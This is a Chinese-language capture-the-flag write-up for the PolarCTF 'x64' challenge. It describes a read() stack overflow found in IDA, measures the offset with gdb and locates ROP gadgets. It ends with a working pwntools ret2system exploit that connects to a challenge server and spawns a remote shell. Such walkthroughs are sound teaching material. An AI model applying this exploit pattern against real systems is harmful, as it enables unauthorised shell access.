【PolarCTF】x64
先检查下,发现是64位的程序
IDA分析程序
这里很明显read函数存在溢出
然后可以看到后面函数Shell
同时也可以找到/bin/sh字符串
这里我们可以通过IDA查找
攻击思路如下:
填充垃圾数据 pop_rdi_ret将/bin/sh传递到rdi中 执行Shell函数 获得shellgdb调试程序
将cyclic的字符输入到程序中,然后我们可以通过
x rbp或者
info registers rbp可以看到堆底里面的内容
通过计算可以看到距离rbp的距离为128(十进制)
128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的
因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节
除了上面的方法找Shell函数地址、/bin/sh字符地址
还可以通过objdump查找shell函数地址
通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3
我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060
bin/sh的地址为0x601060
pop_rdi_ret的地址为0x4007e3
Shell函数的地址0x4006b6
payload如下
from pwn import * io = remote('1.95.36.136',2065) system_addr = 0x4006b6 sh_addr = 0x601060 pop_rdi = 0x4007e3 padding = 0x80+0x8 payload = b'A'*padding payload += p64(pop_rdi) payload += p64(sh_addr) payload += p64(system_addr) io.sendline(payload) io.interactive()